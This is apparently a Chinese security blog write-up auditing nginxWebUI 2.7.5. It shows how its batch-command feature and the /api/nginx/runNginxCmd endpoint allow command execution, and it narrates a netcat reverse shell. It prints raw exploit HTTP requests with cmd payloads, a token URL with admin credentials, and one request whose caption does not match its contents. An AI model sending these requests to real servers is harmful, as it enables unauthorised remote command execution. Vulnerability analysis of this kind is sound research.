某Nginx配置管理平臺代碼審計分析
前言
年初的時候，做代碼審計的時候whippet師傅給分享下面的這個漏洞，所以拿出來分析一下，確實是個0day，不是，還沒人分析過，或許是nday？？？有意思的點兒可能在實現RCE的地方吧。
介紹
nig****UI可以使用WebUI配置nginx的各項功能，包括http協議轉發、tcp協議轉發、反向代理、負載均衡、ssl證書自動申請、續簽、配置等, 最終生成nginx.conf文件并覆蓋nginx的默認配置文件， 完成nginx的最終功能配置。
環境搭建
下載源文件直接啟動
下載地址github下載源碼，手動搜索即可，當前版本為2.7.5
訪問8090端口即可
如果自己本地不想安裝nginx的話，跳過安裝步驟，更改訪問目錄。
- 使用docker搭建。搭建環境Ubuntu16.04
拉取鏡像
docker pull cym1102/nginxwebui:latest
docker run -itd -v /home/nginxWebUI:/home/nginxWebUI -e BOOT_OPTIONS="--server.port=8080" --privileged=true --net=host cym1102/nginxwebui:latest
docker ps
訪問
http://192.168.166.130:8080
初始化管理員設置之后登錄
命令執行
漏洞觸發點
遠程服務器->批量命令
執行ifconfig成功
這里使用whoami的時候容易看不到，剛開始以為不能執行，，，，
可以嘗試創建一個文件
ls查看創建成功
當然在構造payload的時候拼接語句的話只要符合linux語法都可。
實現RCE
本來是想能不能直接反彈shell的
這里會直接將&符作為連接符去執行了，使用反斜杠去轉譯，反斜杠被轉譯為了雙反斜杠，這里嘗試了很久沒繞過，有興趣的師傅可以嘗試一下
使用base64做編碼反彈嘗試
base編碼格式這里會使用|符號，自然在這里這里行不通，因為直接執行了最后的命令，在linux下使用該符號執行命令，會自動執行最后的語句
使用\防轉義
但是這里反斜杠被轉譯為了雙反斜杠，那么這是行不通的，那么這個時候只能選擇其它方式實現RCE，使用nc反彈
windows上起的nc，發現回連
此時使用nc反彈已經拿到了shell。
代碼分析
后臺自帶啟動功能，必定是能夠使用命令去執行，這個點兒的話其實也不是不能限制，限制能夠能夠執行的命令，在一定程度上也算不得可控的命令執行
ctrl+N
搜索cmd字段
搜索contrller.adminPage.RemoteController類的cmdOver方法
在329行的時候傳入cmd參數，參數就是對nginx的啟動或者停止，331的時候調用runcmd方法
類src\main\java\com\cym\controller\adminPage\ConfController.java
338行使用的是put方法傳參,直接執行了前面輸入的cmd參數內容。
同理這里ctrl+n搜索調用runcmd方法的類
那么這里就是第二個產生命令執行和rce的地方了。但是在調用的時候發現其實這里使用是有限制的
ginxwebui\src\main\java\com\cym\controller\api\NginxApiController.java
該類屬于api路徑，傳參方式POST
構造數據包
POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10 cmd=whoami
不行？？？思路有問題么，繼續分析，在api調用給的時候有關于token的認證，在上面的數據包中我們抓包，用戶身份字段是cookie，那么這個token的作用優勢什么呢？
nginxwebui\target\classes\com\cym\controller\api\TokenController.class
token的作用也必定是身份認證使用的，這里我查看了接口文檔
直接調用了接口
到這里基本上是可以確定了接口文件的和接口類的作用，使用的身份認證字段為token，那么想要利用接口的話必須
找到接口權限，然后開啟
獲取token
http://192.168.166.130:8080/token/getToken?name=admin&pass=1qaz@WSX
獲取密碼文件接口，構造數據包
POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10 cmd=whoami
獲取到所有的密碼文件信息，這個時候調構造請求payload去進行命令執行
POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW X-Requested-With: XMLHttpRequest Origin: http://192.168.154.129:8080 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Token: d979abda-db85-4f08-b7bd-0e054df0e02a Content-Type: application/x-www-form-urlencoded Content-Length: 10 cmd=whoami
OK，，，，結束。
小結
還是挺有意思的，新版本的不確定還存不存在能RCE，有興趣的師傅可以試試，大佬勿噴。
